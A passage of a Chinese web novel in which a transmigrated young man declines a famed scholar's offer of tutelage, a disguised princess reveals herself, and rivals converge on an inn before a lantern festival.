平日里冷若冰霜、气场迫人的墨女侠,在接触到那道目光后,竟浑身一震,连忙停下手上动作,将那茶壶递到侍童手中。
侍童接过之后,手腕轻抬,优雅地斟上两杯七分茶。
江云帆此刻才忽然注意到,这侍童长得好生俊俏啊!
首先是那双倒茶的手,皮肤雪白细腻,在晨光下仿佛温润的白玉,白里又透着几许娇柔的粉红。五根纤纤细指,匀称而修长,既不显得肥腻,也不至于枯瘦,可谓是巧妙得恰到好处。
再抬头一看,那张脸更是令人惊艳。
柳叶眉,大杏眼,肤若凝脂,面若桃花。高高盘起的儒巾之下,无论是五官的轮廓还是皮肤的质地,竟都完美到挑不出任何一丝一毫的毛病。
不,不能说是挑不出毛病。
应该说,他的每一处,都俊美到了一种超凡脱俗的境界,堪比画中仙姿!
江云帆忍不住又盯着他多瞧了两眼。
心中不免感慨,这位归雁老先生果然不是简单人物,连身边随行的一名小小侍童,居然都能俊俏到这般惊世骇俗的地步。
若是要放在他前世那个世界,单凭这幅面孔,就足以秒杀所有流量明星、顶流小白脸。
当然,问题也恰恰出在这点上。
俊俏归俊俏,就是……太柔了。
这般容貌,若生在一位女子身上,那便是倾国倾城的仙姿玉貌。可奈何是个男子,便稍微显得有些……娘炮。
正暗自惊讶着,江云帆忽然看见,那小侍童原本白皙的俏脸上,突然浮现出一抹显眼的红晕,并且目光也变得有些躲闪。
他这才猛然意识到,自己已经目不转睛地盯着人家看了好久!
“抱歉抱歉。”
江少爷连忙赔笑,“见小公子生得太过俊俏,一时走了神,实在失礼。”
那侍童摇了摇头,也没说话,红着脸躲到了一旁。
江云帆回头的时候,一晃眼看见了墨羽脸上的表情。他认得那表情,眉宇暗沉,目光凌厉,明显是又想**了。
他懒得搭理。
转头看向沈远修:“不知老先生此番找我,所为何事?”
第70章 沈远修收徒
其实关于归雁先生此番前来的目的,江云帆心中早已有了猜测。
不出意外,定是与昨日念荷亭上的那首诗有关!
这个世界就是这样,一旦暴露了自己的才华,就必然会有人主动接近。
所以今日江云帆也没有特意装傻,将自己伪装成一个什么都不懂的纨绔**,反倒是一切顺其自然,随心所欲。因为他明白,只有表现得足够坦然磊落,才能避免遭到对方的怀疑。
“嗯……”
沈远修端起茶杯,送到嘴边,浅浅地品了一口。随后才将目光从江云帆脸上移开,抬眼望向烟波浩渺的湖面。
良久,他才放下茶杯,悠悠开口:“江公子,真乃……非凡之才也。”
非凡之才!
这评价可不低。
果然,这老头也算是开门见山了,明摆着今日前来,就是聊诗聊文,同时也聊人的。
也好,省了些弯弯绕绕。
江云帆稍稍抱了下拳,并回以微笑:“老先生这般夸赞,江某实在受宠若惊。只奈何才不配名,实在无颜接受。”
“也许先生未曾了解,就在三个月前,在下还是凌州豪门江家的三少爷。因生性愚钝,学无所成,乃使家族蒙羞,邻人鄙夷,方才被迫离家,辗转来到这镜源县。”
说着,他苦笑一声,晃晃脑袋:“要说才华,在下是有点,但真的不多。”
听到这番解释,沈远修着实有些意外。
昨日只顾着研究那亭柱上的诗文,倒是忘记打听江云帆的身世经历。没想到他的人生波折不小,所谓被迫离家,应该只是含糊的说法,实际应该就是被族人给抛弃了吧?
说起凌州江家,沈远修印象还不浅。
若不是镜湖文会上那首惊世妙词突然现世,或许他现在已然应了那江家二公子江元勤的邀约,到凌州讲学去了。
当然,那些都不重要,重要的是当下。
“江公子是否太过谦逊了?”
沈远修满怀笑意,目光又死死盯着江云帆,“你若当真没有诗才,绝无可能写出昨日念荷亭上那首诗,要知道即便是大乾国经院里面的一众夫子祭酒,终其一生恐怕也造不出这样的佳作!”
“这应该是运气和天赋的体现吧。”
对方步步紧逼,江云帆也不着急,直接用早就想好的答案应对,“昨日念荷亭我便已经说过了,那首诗之所以能成,还得归功于一位梦中老者,是他给了我启示,而我奋力领悟将其写出来,顶多算个代笔。”
沈远修砸吧了两口茶,皱眉道:
“即便真有梦中老者,那他也只能算有所引导,你若没有半点才华,如何将那意境转化为诗,又如何将那‘接天莲叶’与‘映日荷花’的景致,画进那诗句中?”
他其实是不愿相信梦中悟诗这一说法的,但奈何对方偏偏不承认。
“这便是我方才提到的天赋了。”
江云帆微微一笑,“老先生您想,江家也算书香门第,文人辈出。可恰巧到了我江云帆头上,却对诗词一窍不通,这本身就不合理!所以……我厚积薄发了。”
“十几年的沉寂,最终就是为了从梦中领悟出这一首诗,此诗之后,再让我写,肯定是写不出来了。”
“唉……”
沈远修摇头,盯着江云帆看了良久。
明明富贵就在眼前,为何他就是不肯承认呢?难不成真如他所说,写出此诗,已致才尽?
“罢了……江公子,既然你能写出此诗来,证明天赋确实不俗。若有意,可随时来找老夫,我愿将一生所学倾囊相授,助你重拾诗才!”
沈远修语气坚定无比,表情也无比认真。
这是想收徒?
此话一出,明显把在场三人惊了一跳。
尤其是墨羽,她只觉得脑中轰响,一双原本不算大的丹凤眼,硬生生给瞪圆了。
这可是归雁先生啊!
莫说能够被他收为门徒,哪怕是得到他的些许指点,也是这天底下文人墨客梦寐以求的事情。
可现在,他居然主动提出,想要收江云帆为徒!
这江云帆,到底是祖上积了多大的德,竟能有这般机缘?
墨羽惊得整
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个人呆住。
而那俊俏的小侍童,除了同样有的些许惊讶外,那眼神竟明显有着几分期待。
倒是江云帆,他沉默了片刻,最终朝沈远修抱了一下拳:
“多谢老先生抬爱,只是……江某实在愚钝,也不喜好题诗作赋,相比之下,我还是觉得游山玩水、钓鱼抓虾,来得舒服自在一些。”
开玩笑,他到这个世界,是来享受生活的啊喂!
你让我当学生?
不好意思,哪怕是上辈子,在流水线上日复一日、千篇一律的工作,累到腰酸背痛,江小爷我都没觉得那比读书更累。
现在还想让我读书?
没门!
当然,江云帆倒是拒绝得干脆,在场的其他人却直接听懵了。
沈远修明显抖了一下胖脑袋,回想一下自己刚才到底有没有听错。
他还是第一次遇见这种情况。以往备下豪礼,想要拜他为师的文人才子,绕着怀南城排上整整一圈,可他们就算等个三天三夜,也进不了他的大门。
包括收郡主为徒,也是在王爷的示意之下完成。
真正由他主动提出的,仅有江云帆一人。
然而,这人拒绝了。
而且还拒绝得如此干脆!
沈远修想不明白。
墨羽也想不明白,她方才本就瞪得老大的眼睛,此刻几乎要把眼眶给撑裂。
起初听许小姐谈起江云帆,称此人不仅无能,而且痴傻。
一开始她还不信。
但现在信了,那江云帆简直痴傻得可怕!
只要是个正常人,但凡有点脑子,怎可能拒绝归雁先生的主动相邀,怎可能不拜入这等大儒门下?
偏偏江云帆就是个没脑子的人。
“真是不可理喻……”
墨羽忍不住冷嗤了一声,江云帆闻言微微回了下头。
而这一眼,恰好看见一旁那俊俏的小侍童。此刻他正秀眉紧蹙,看那样子像是有些焦急,似有话要说,却怎么也开不了口。
江云帆不禁疑惑。
难不成,空有一张漂亮的皮囊,却是个哑巴?
第71章 释放的感觉真好
“江公子这般心性,实乃老朽平生所仅见。”
“不为虚名所累,不为富贵所动,正值意气风发之年,反倒向往那闲云野鹤般的自在生活,这份洒脱,老朽佩服啊!”
江云帆拒绝得如此干脆利落,沈远修纵然心中万分可惜,也自知不可强人所难。便抚须赞叹,竖起一个大拇指,既是真心夸赞,也巧妙地化解了自己被拒的尴尬。
当然,这绝不代表他就此彻底死心了。
“日后江公子若是改变了主意,随时可以到怀南城的寒舍来寻我,老夫方才所说的话,永远作数!”
他是真把江云帆当做了一块璞玉。
在他看来,单论天赋,这孩子恐怕丝毫不会比郡主差。甚至,其思维中那份天马行空的灵性,或许相较于常年被规矩束缚于王府之中的郡主,还要犹有胜之。
而最重要的一点,是沈远修从江云帆那双看似平静的眼眸深处,竟看到了一种仿佛勘破了生死、洞悉了世情的洒然与淡泊。
这样的人,未必能将才华露于表象,但却是最有可能够创造出惊世佳作的。
沈远修十分在意自己的名声。若此生能教出两位震古烁今的大才,那他“归雁先生”之名,便足以在青史之上留下浓墨重彩的一笔了。
“好,那晚辈便提前在此拜谢先生的厚爱了。”
江云帆见对方给了台阶,也再不好继续打这位老先生的脸,立刻顺势抱拳,诚恳称谢。
两人就着温茶又闲聊了片刻,期间沈远修凡有提问,江云帆总能用滴水不漏的话巧妙地回答上来,既保证了晚辈应有的礼节,也不至于暴露自己的“真才实学”。
“云帆啊,你是我见过最特别的年轻人!”
一番交谈下来,沈远修对眼前这个不卑不亢、从容自若的小伙子是越发地喜爱,连称呼都不知不觉间变得亲切了不少。
以往他也遇到过许多杰出的后辈,那些人在面对自己的时候,姿态可谓极尽谦卑,言行举止间满是敬畏。江云帆是第一人,在与他面对面交流的时候,竟能保持完全的自信,一言一行,仿佛都在诉说着相互平等。
这在等级森严的大乾王朝,实在是难能可贵。
所以,当沈远修视线一晃,恰好看见远处停靠在三号码头那艘巨大的楼船时,心中顿时一动。
“你看那边……那是南毅王府的楼船,此刻船上正在举办文会,各路才子齐聚一堂。你若将念荷亭上那首诗送上去,轻易便可拔得提名,至少也是前三甲之列。届时即可前往南毅王府,接受王爷亲自嘉封,岂不是一桩美事?”
“还是不必了,”江云帆顺着他指的方向望了一眼,想也不想便摇头笑道,“我怕黔驴技穷,就此一首,后续再无佳作,反倒辜负了王爷的器重。”
“唉,也罢,也罢。”
听到这个早已在意料之中的回答,沈远修彻底释怀了。
他算是看明白了,想用世俗的荣华富贵去说服江云帆,根本就是徒劳。
“既如此,那老朽便为今日打搅,以表歉意了。”
“先生言重,晚辈惶恐。”江云帆立刻起身,郑重行了一礼,“能得先生青眼,是晚辈三生有幸。”
话聊到这,两人便相互道了别。
沈远修转头看向那始终安静立于一旁的俊俏小侍童,吩咐道:“为师打算独自在此处赏赏风景,你若无事,便随墨羽姑娘一同,送一送江公子。”
那小侍童依旧没有开口答话,只是那双明亮的眼眸里明显闪过一丝灵动的光彩,随即用力地点了点头,显得颇为乖巧。
于是,一行三人便顺着湖畔的雕花廊道,朝着码头的方向漫步而去。
走到一处拐角,江云帆忽然发现,那小侍童不知何时走到了自己身侧,两人并肩而行,彼此间不过一尺之隔。
忽然间,一缕极淡雅、极温柔的软香,若有似无地飘入鼻间。
江少爷顿时一愣,这小侍童不光长得漂亮,像女孩子,甚至就连身上都带着少女才有的香味。
还真是罕有的体质。
好奇之下,他拍了一下对方的肩膀,露出一抹温和的笑容:“小哥哪里人啊?”
那小侍童的身子明显顿了顿,一双清澈明眸飞快地偷偷瞥了他一眼,又像受惊的小鹿一般,立刻慌乱地转向了别处。
下一刻,江云帆自侧面看见,他那张精致的俏脸,肉眼可见
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地生起一抹酡红,自脸颊到耳根,好似刚饮完一杯酒一般。
这人到底怎么回事?
搭句话而已,反应这么大?
江云帆正自心生疑惑,忽而身后一道冰冷的厉喝声传来:“好好走你的路,不然斩了你的腿!”
江云帆不用回头也知道,墨女侠又准备拔剑**了。
他无奈地回头瞥了对方一眼,无语道:“我说墨羽姑娘,你身为一名女子,为何整天就只知道喊打喊杀。你再看看人家小兄弟,长得比你好看便罢了,这文静内秀,更是甩了你十万八千里!”
听到这话,墨羽反倒不生气了。
她冷了冷眼神,开口道:“这与你无关,我们到了,你自行回去吧。”
江云帆四下一看,果然,不知不觉间已经走到了三号码头。
王府那艘巨大的楼船,此刻正静静停靠在岸边,庞大的身躯宛如山岳横亘,遮天蔽日。
“好,那便告辞了。”
江云帆抱拳作别,那俊俏小侍童也方才意识到已至码头,他神情有些慌乱,连忙微微躬身,朝江云帆行了一礼。
自始至终,依旧没有开口说一句话。
江少爷也没再计较,转身挥手而去。
目送江云帆消失在码头入口,小侍童终于收回视线,一转身,便提着略显宽大的儒衫下摆,急匆匆地往船上跑去。
墨羽见状,连忙快步跟上,一同踏上了舷梯:“郡主慢点,当心脚下!”
秦七汐秀眉紧蹙:“等不及了……”
她脚下丝毫未停,在船上一众文人才子茫然的目光里,埋头登上了船头的阁楼。
穿过二楼的雅阁,快步走进自己的卧居。
“砰”地一声关上房门,她快步走到床边坐下,先是解开儒衫胸口的两颗盘扣,随后将一双修长的手臂有些费力地绕过纤细的腰肢,伸到背后摸索片刻……
“啪!”
一声细微却清脆的轻响之后,紧紧束缚着少女胸前的布条应声而解,那被压抑许久的胸口,终于恢复了应有的弧度。
“呼——”
小郡主长长地舒了一大口气,只觉得浑身上下无比轻松。
释放的感觉,真好……
第72章 郡主和平日不太一样了
秦七汐稍稍歇息了片刻,待胸口的压迫舒缓,便褪下身上的儒衫,换上一套淡黄色的金丝裙。
裙摆如流云,金丝在光线下闪烁着细碎的光芒,衬得她肌肤愈发赛雪。
方才那个眉清目秀的俊俏小侍童已然不见。
而那位仙姿玉貌,气质清冷的临汐郡主,又回来了。
她莲步轻移,走出卧房,青璇与墨羽两人正候在堂中。
“殿下可有不适?”青璇见她出来,立刻上前一步,语气中满是关切。
秦七汐轻轻摇了摇头,声音恢复了往日的清冷:“无碍。”
尽管她这样说,可一旁的墨羽却依旧眉头紧锁着:“郡主身着男装已有半日,如此长的时间,又怎会无碍?毕竟……您又不不似我二人这般。”
听到这话,青璇顿时一脸怪异。
她偷偷看了一眼秦七汐胸前,又瞧瞧自己和身旁的墨羽,立马便释怀了。
诚然,以她和墨羽的身材,若是扮作男子,只需换身衣裳,束一束发,轻松自在。
可若是郡主,那就有些遭罪了。
“倒不是一开始就不适……”
秦七汐说完一句,突然一抹红霞爬上了脸颊。
后面的话没再说出口。
实际上她想表达的是,女扮男装也好,缚胸也罢,其实一开始倒还挺适应,没有什么不舒服。
真正的改变,就发生在江云帆拍她肩膀的那一刻。
也不知为何,当对方的声音在耳畔响起的时候,秦七汐只觉得浑身都无比紧张,呼吸也跟着急促起来。
也就是那一刹那,胸口变得很勒很勒……
像是长肉了。
此刻,小郡主再回忆起那种奇异的感觉,依旧觉得一阵羞愧。
墨羽很快便发现了秦七汐的异样,她不动声色地碰了一下青璇的手臂,低声道:“殿下今日,似乎和以往不太一样。”
青璇深以为然。
“确实,不太一样了。”
以往的郡主,总是沉稳内敛,仪态端庄中透着一股与生俱来的孤高,旁人只需看上一眼,立马便能感觉到如同山岳般巨大的压迫力。
可今天的郡主,竟然灵动了不少。
就拿刚才上船来说,她就在船沿处接应,明显感觉郡主的脚步变得很轻快。
那种轻快不是着急,分明就是喜悦。
也就是说,那一刻的郡主,心里是十分高兴的。
这在以前极为少见。
想到这青璇不禁怀疑。
难不成,郡主的开心,都源自于那个江云帆?
“青璇。”
就在这时,秦七汐的声音忽然传来,将她从沉思中拉回现实。
青璇连忙收敛心神,抱拳听令:“殿下。”
“稍后你去一趟县城里最好的裁缝铺,帮我赶制一套衣裙,款式要好看些,但切记,料子和颜色都要朴素一点,不要太过张扬。”
“是。”
青璇低头应
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了下来,心里的猜测却丝毫没停。
难道说,郡主赶制衣裙,是为今晚去那秋思客栈做准备?
“对了,怎么不见灵嫣?”
秦七汐环顾一圈,方才想起,刚刚在甲板上,也没有见到许灵嫣的身影。
“回殿下,在你们走后不久,许小姐便下船去了。”
听到这话,秦七汐不免眉头微皱。
她又要做什么?
……
镜湖畔,青石路漫漫。
四人一马正沿着湖堤缓缓西行。
江元勤来此本是纵马游湖,打算赏一赏这镜湖的独特景致,尝试为自己的词赋找找灵感。
然而并未走出多远,便迎面遇见了两道熟悉的身影。
程修齐与带着侍女小缘的许灵嫣。
“昨日你倒是走得飞快,本想找你小子叙叙旧,聊聊词,结果一转眼就不见了人影,害我好找。”
程修齐尽管语气埋怨,但那张大脸上却始终带着笑意,显然并非真的在生气。
然而江元勤还是不想理他。
江二少转头看向许灵嫣,语气谦逊:“上次见面已是一年以前,没想到能在镜源这地方遇到许小姐。”
许灵嫣情商明显比程修齐高了许多,没有再把昨日之事挂在嘴边。
她礼貌点头,开口回应:“是啊,当初也是没想到,在这短短一年时间里,江公子便已金榜题名,成功入仕,光这一点就足够让很多文人学士汗颜了!”
第73章 七七夜,明灯桥
许灵嫣的情商显然比程修齐高了不止一个层次,她巧妙地避开了昨日那令人不快的旧事,未曾将其挂在嘴边。
她朝着江元勤盈盈一礼,姿态优雅,声音温婉动听:“是啊,世事难料。当初一别,谁能想到在短短一年光景里,江公子便已金榜题名,成功入仕。这般成就,足以让天下多少寒窗苦读的文人学士自惭形秽了!”
这番话如同一缕春风,精准地吹散了江元勤心头的阴霾。
“许小姐过誉了。”
自昨日在王府楼舫上,听到那句“众里寻他千百度,那人却在灯火阑珊处”之后,江元勤的心情就一直阴云密布。那惊才绝艳的词句如同一场挥之不去的噩梦,紧紧缠绕着他,让他昨夜在驿站中彻夜郁郁,辗转难眠。此刻,许灵嫣这番恰到好处的恭维,终于让他紧锁的双眉舒展开来,脸上也浮现出自昨日以来的第一抹真切笑容。
他心中暗忖,许灵嫣不愧是尚书府的千金,知书达理,温雅得体,与她交谈如沐春风,比程修齐那个毫无眼力、只知纠缠的莽夫强了太多。
接下来,两人又相互客套寒暄了一阵。他们的话题巧妙地围绕着官场仕途、京城风物与江南景致的对比,却都心照不宣地避开了最容易引爆尴尬的诗词文赋。
最后,还是江元勤想起了此行的首要目的,这才主动开口询问道:“听闻大儒归雁先生近日也来到了镜源县,不知许小姐可曾有缘拜见过?”
许灵嫣闻言,眼底闪过一丝不易察觉的精光,她知道,正事终于来了。
她微微一笑,从容应答:“当然。归雁先生这等名满天下的大儒莅临,在镜源县早已是引起轩然大波,我等后辈学子,又怎能错过拜见的机会?”
“那许小姐可知先生如今身在何处?”江元勤的语气透着一丝急切。
他此次快马加鞭赶来镜源县,目的无非两个。其一,是想亲眼见识一下那首被传得神乎其神的妙词究竟有何等分量,结果却是自取其辱,当众丢了颜面,至今追悔莫及。其二,便是寻到归雁先生,以弥补自己在凌州未能等到对方的遗憾。
江元勤早已下定决心,要拜在归雁先生门下。从前他自知资历尚浅,不够资格,但如今他即将上任怀南主簿,也算有了官身地位。将来大家同处一地,相互之间亦能有所照应,他认为,拜师的时机已经成熟了。
“沈先生此刻的具体位置我并不知晓,但我却知道他今晚将要去往何处。”许灵嫣卖了个关子。
“还请小姐明示。”
许灵嫣转过身,玉指沿着湖岸的青石路遥遥一指,说道:“从此地往东走约莫二里,湖湾深处有一家名为‘秋思’的客栈。今夜,先生将会前往那里,届时江公子可自行前去拜会。而且……”
说到这里,她话锋一转,脸上忽然露出一抹极有深意的笑容:“而且公子此去,说不定还会有意想不到的惊喜。”
……
许灵嫣的真正目的,无非是想促成江元勤与江云帆这对宿怨已久的兄弟在客栈中不期而遇。届时,一个是前途无量的金科进士,另一个却是被家族扫地出门的落魄废柴,再加上两人素来不对付,一旦碰面,势必会擦出激烈的火花。
毫无疑问,无论是过去还是现在,江元勤都将是占据绝对上风的那一个。她倒不是真的记恨那份婚书,非要看江云帆出丑。她只是希望将这潭水搅得更浑一些,借此打破江云帆坚决不肯交出茅台酿酒方的僵局。
而对于江元勤而言,他自然无从知晓许灵嫣口中的“意外之喜”,指的竟是自己的那个废物大哥。
他的思绪完全被“归雁先生会去秋思客栈”这个消息所占据。由此,他立刻联想到了另一重可能——既然老师会去,那么身为归雁先生唯一亲传学生的临汐郡主,是否也会一同前往?
若当真如此,那对他来说,确实是天大的意外之喜了!
毕竟昨日之事发生后,他已颜面尽失,再没脸登上王府楼舫投词。可偏偏他心里又极度不甘,实在不想放弃此次镜湖文会的丰厚奖赏。要知道,他最大的愿望,便是借此机会入王府,竞聘郡马之位。
况且,江元勤还听到了一个消息,那首技压全场的《青玉案·元夕》,至今仍未寻到原作者。倘若那人一直不现
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身,以自己的才学,放眼整个镜湖,岂不是再无敌手?
所以,江元勤决不能放过今晚这个千载难逢的机会!
思及此,他心中一片火热,立刻转头对许灵嫣抱拳道:“多谢许小姐指点。在下忽然想起驿站中尚有些私事待办,需得即刻赶回,还请见谅。”
他必须趁着天黑前的这点时间,回去将自己的词作再好好打磨一番,务求尽善尽美。
“江公子慢走。”许灵嫣颔首作别,眼底的笑意更深了。
一旁的程修齐却很是不乐意:“哎,元勤,咱们俩可是许久未见了,怎么说走就走?留下来一起品茗论诗,岂不快哉!”
“下次吧。”
江元勤此刻心急如焚,哪有闲心与他废话,只是黑着脸敷衍一句,便干脆利落地翻身上马,挥动马鞭,绝尘而去。
望着他匆匆离去的背影,程修齐满脸困惑地挠了挠头:“他也去秋思客栈?今晚那地方究竟是有何名堂,竟能引得这么多有头有脸的大人物到场?”
“总之会很热闹,程公子若有闲暇,也不妨前去一观。”许灵嫣淡淡说道。
程修齐连忙回过头,满眼期待地问:“那灵嫣小姐你呢?你也要去吗?”
“我?”
提及此,许灵嫣嘴角不由自主地勾勒起一抹自信而神秘的弧度,“我还有更重要的事情要办,便不去了。”
她可片刻未曾忘记自己滞留镜源县的真正目的。江云帆手里的酒方固然重要,却也并非非拿到不可。但那位始终不曾露面的“彦公子”,才是她此行必须见到的人。
今晨,杨文炳已托人捎来书信,说他今夜也会从凌州驾车赶来参加万灯节,届时两人可以一同去寻访彦公子的踪迹。
对此,许灵嫣心中早已有了最佳的地点,那便是县城里的明灯桥。
那里不仅是未婚男女寻觅良缘的胜地,同时也是整个万灯节上规模最大的一处诗词交流之所。届时,必将有无数文人墨客齐聚于此,其中定然也包括那些常年隐居埋名、不求闻达的民间高士。
许灵嫣坚信,如果那位神秘的彦公子会出现,那便一定是在明灯桥!
第74章 怕被人认出来
江云帆此刻方才意识到一个问题。
今天的白瑶好像和平时不太一样了。或许是作为客栈老板娘,又或者是因为性格,以往的她脸上时刻都保持着笑容,那双眼睛也是妩媚夺人。
关键是说话的时候放得开,多多少少带点荤的。
可这会江云帆发现,她明显变得有些严肃,同自己说话的时候,也仿佛有心事一般。
这让他不禁想到了昨天下午,在他骑着电动车将江滢接走后不久,脑海里相继响起了两道系统提示音,都来源于白瑶的震惊。
而且两次的情绪值都不低。
此前江云帆想了很久都没想明白这两次震惊是如何造成的。
可今天一回想,他不禁在心里猜测,难道是白瑶发现了自己什么秘密?
暂时不清楚状况,江云帆自然也没有把什么话都往外说。
他正了正脸色,直视白瑶的眼睛:“想什么呢瑶姐,我怎么可能有事瞒你,都快被你看光了好吗?”
“胡说,什么时候看光了?”
话到此处,白瑶忽然红了脸。
记忆中好像确实有那么一次,那日天气酷热难耐,客栈恰好又十分忙碌,江云帆又是运酒又是搬桌椅,热得浑身湿透。
事后到湖边洗澡,她跟在身后,远远偷看了一眼。
只有一眼,白瑶可以发誓,绝对没有看光!
当然,那挥之不去的画面,仍旧缠绕在她脑海里久久不散,尤其是晚上一个人睡觉的时候,总是会回忆起江云帆的身影……
想到这,白瑶的态度明显缓和了不少。
她看向江云帆的眼睛,神色诚恳:
“小帆,无论你以前怎样,也无论你为何而来,你有心事也好,有秘密也罢,我只希望你……既然来了,就不要走了,好吗?”
“……”
听到这话,江云帆明显愣了一瞬。
换个角度理解,白瑶这番话,是不是已经相当于表白了?
难道说,这三个月以来的朝夕相处,当真让她对自己产生了依赖?
“放心吧瑶姐,在这多自在舒服,我江云帆这辈子就没打算离开了。”
诚然,无论白瑶心里是什么想法,江云帆总之只想留在镜源县这样的小地方,安安稳稳过自己的小日子。
“好。”
白瑶心情明显愉悦起来,“那我就让人好好准备一下,迎接今晚的贵客!对了,你如果要去明灯街,记得帮我在北街口带份桂花酥。”
“没问题。”
江云帆点头应允下来,随后抱着怀里的碗筷便来到后厨。本打算直接找个地方开刷,却发现洗碗池的前方,此刻正站着一个瘦瘦小小的身影。
“滢滢,怎么你在干活啊?”
“哥。”
江滢正挽着袖子,用手腕撩了一下额前的头发,回头笑道:“本来我也没什么事,就想着来帮帮忙,也不白干,**姐给我开工钱的。”
“看来你还挺有热情的。”
“那是当然!”
得意的小姑娘挺了挺脖子,还挺傲娇。
江云帆也没有多说什么,将手里的碗筷放进洗手池,就站在旁边陪她一起洗。
空气中有灼热的夏风吹过,池中有哗啦啦的瓷器碰撞声。
“今晚要不要去看灯会。”
“灯会……”
正洗得专心致志的江滢忽然停下手中的动作。
万灯节的灯会,她是从小便知道的。听说每年七月七的夜晚,整个镜源县都会被火光点燃,繁华的大街就像一条条火焰长龙,在城内盘桓纵横。
鲜花,美食,歌舞会……听说这一晚的热闹程度,几乎能赶得上京城。
这些年生活在凌州,江滢自然是早就想来看看了。
奈何家里约束甚严,想要离开那森严的江家大院都成困难,又如何能来得了几十里外的镜源县?
所以此刻听哥哥提起,江滢心里是充满向往的。
但,她还是摇了摇头:“我就不去了吧,我想留在客栈,多挣点钱。”
“你挣那么多钱做什么?”
江滢神秘一笑:“不告诉你!”
得,不说就不说。
江云帆也没有多问,毕竟小姑娘也长大了,自己的想法和打算不肯告诉别人,也很正常。而且有目标,且愿意为目标而奋斗,这一点难能可贵。
但眼神是骗不了人的,江滢目光里明显有向往。
所以作为哥哥,江云帆觉得自己有义务带妹妹去看看更精彩的世界。
他也打算好了,等到晚上再来,把小丫头直接拉着去灯会,不给商量的余地。
将池中的碗筷全部清洗完毕,江云帆便嘱咐了江滢两句,让她待在客栈好好听话。随即便转身出了门,骑上自己的小电驴,直奔桃
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花山上的小院而去。
他花了半个时辰的时间,将酿好的茅台酿分坛、检测、密封装好,并让人运回客栈。
接着便溜溜达达,到了桃林东侧的小山谷。
在开垦出的两亩沙地中,他找到了正在忙碌的季云苍。
“季伯,手脚挺快嘛!”
短短一天时间,原本大片的空地,此刻几乎已经被绿色的西瓜苗给铺满了。
“哼……也不看看我是谁。”
说起来还真不简单,从模样上来看,季云苍这老头子少说也已经七旬过半了,身材消瘦,头发雪白,却偏偏有股干劲,在田里劳作一天也不知道累。
桃花山下那一大片的农田,几乎都是他一个人种下的。
也正因如此,江云帆才敢让他帮忙种瓜。
相比之下,今天在湖畔见到的归雁先生沈远修,头发乌黑、面色红润,长一身大膘,看起来反而很虚。
果然,能维持健康的一定是劳作,而不是酒肉。
“唉……”
就在这时,季云苍忽然放下锄头,一脸疲惫地叹了口气,“这天气还真是暑热,人在这烈阳下啊,一动就口渴,也不知道为什么。唉,要是有酒就好咯……”
江云帆一阵无语。
季伯喜欢喝酒,这一点他是知道的。
当场他的九粮液尚且是个半成品,找对方稍微品鉴了一下,结果自那以后,这老头子天天缠着他要酒喝。
“别看我了,谁随时把酒带身上啊?你要想喝,今晚就去秋思客栈,有免费的好酒!”
“去客栈?那还是算了。”
一听要去客栈,季云苍便同以往一样,连连摇头。他似乎对人多的地方十分抵触,宁愿远远躲着,也不靠近半步。
江云帆不禁有些好奇:“怎么,怕被轰出来?”
“笑话,我那是怕被认出来!”季云苍脸上的骄傲依旧不减。
“认出来?难不成我们季伯,还是个名人?”
“当然,想我当年……”
季云苍一脸慷慨,却又欲言又止,“算了,说了你也不懂。话说,秋思客栈那酒,真是好酒吗?”
江云帆点了点头:“比以往任何酒都好。”
“嘶……”
季云苍皱紧眉头,重重吸了口气。
如果真的有好酒,也许冒险去试上一试,也未尝不可。
……
第75章 女为悦己者容
随着时间的推移,整个镜源县变得越发热闹。
每年七月七的前几日,那些距离稍远、来自大乾各地的游客会陆续汇聚此地,并找客栈住下,开始一边旅游一边等待万灯节开始。
而这一部分人,终归只能占到总人数的一半。
另一半的人,基本来自镜源本地的乡下,以及相距较近的凌州、烟凌等地,他们会在七月七日当天前来。
所以到了傍晚,太阳即将落坡的时候,城内就已经十分拥挤了。
镜源县城一面临湖,故而连通官道的,就只有三座城门。而今年城门口所**的人,远比往年多得多。
原因无他,想要入城者,皆需经过严格的盘查。
凡是携带危险器物,或者身份可疑者,都会被拒之门外。究其原因,与近日南济密探渗入有关。
设关检查需要时间,故而三座城门之外,都排上了一眼望不到头的队列。
此刻的北门外四里处,一驾马车堪堪停下。
驾车的小厮勒稳马绳,转头望向身后的车轿,低声道:“公子,前方人群阻塞,那些游客少说排了四里长龙,咱们要不要直接绕过去,凭总督府的令牌入城?”
“……”
空气沉静片刻。
紧接着,那车轿的帘帐自内掀开,杨文炳弯腰从中走出,站在车头看那人群,眼神不禁流露出一丝纠结。
诚然,今日的游客实在太多了。
“还是算了吧。”
半晌,他摇了摇头,皱眉道,“利我一人,却让千人久待,这样极易引起民众的不满,不值得。”
“可是公子,若是从现在排队过去,到城门口时,恐怕灯会早已开始。”
“若是能早点来便好了……”
杨文炳其实早就想到了拥堵的可能。奈何家中繁杂事务缠身,一直抽不开时间,直到不久前他才忙完,便马不停蹄赶了过来,却还是迟了。
今日时间紧迫,为寻找彦公子,他甚至都无暇欣赏灯会。
可即便如此,杨文炳依旧没有下令让小厮绕过队列,反而将目光投向了远处浩渺的镜湖。
“此处距镜源一号码头,还有多远路程?”
听到提问,驾车的小厮连忙站起身来,也朝着镜湖的方向远远一眺,随即低头禀告:“回公子,约莫三里地。”
“三里……”
杨文炳沉思片刻,迅速做出决定,“这样,我自步行前往一号码头乘船,你继续在此排队入城,后续若见到许灵嫣小姐,就让她到明灯桥与我会合。”
“是,公子。”
交代完之后,杨文炳没有丝毫犹豫,果断下车便顺着一旁的小路,朝着镜湖码头的方向徒步而去。
在镜源县,水路是十分重要的运输途径,故而修建的码头众多。
其中光是靠近县城的就有三座,一号码头在城东北,三号在南边的镜湖湾,而二号码头,位于连通城区的湖口滩。人们进出县城的方式,除了走城门,还可以从码头乘船。
正巧杨文炳此行要去的目的地,就是最为热闹的明灯桥。
而那明灯桥,又恰好在湖口滩之上。
……
与此同时,县城以南的镜湖湾三号码头,那艘宛如山岳的巨大楼船依旧静静停靠。
只是此刻,正不断有人从船上下来,顺着湖畔的青石板路往城区行走。
这些人基本都是前几日便已抵达,来此参加王府举办的镜湖文会的,所谓看灯会,也只算得上是个顺便。
他们当中多为才子墨客,身份都不简单。
想要入城,基本不用排队,只需去到城门口,向守城的兵士亮明自己的身份,便可直接过关。
楼舫上的人越走越空,而位于船楼二层
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的雅阁之中,正传来一阵窸窸窣窣的声响。
“吱呀——”
阁内卧居的门被推开了,一身米色对襟襦裙的临汐郡主满脸迷茫地走了出来。
“这身如何?”
“!”
堂中一坐一立的青璇和墨羽两人,在见到秦七汐是瞬间瞪大眼睛,小鸡啄米式的点头。
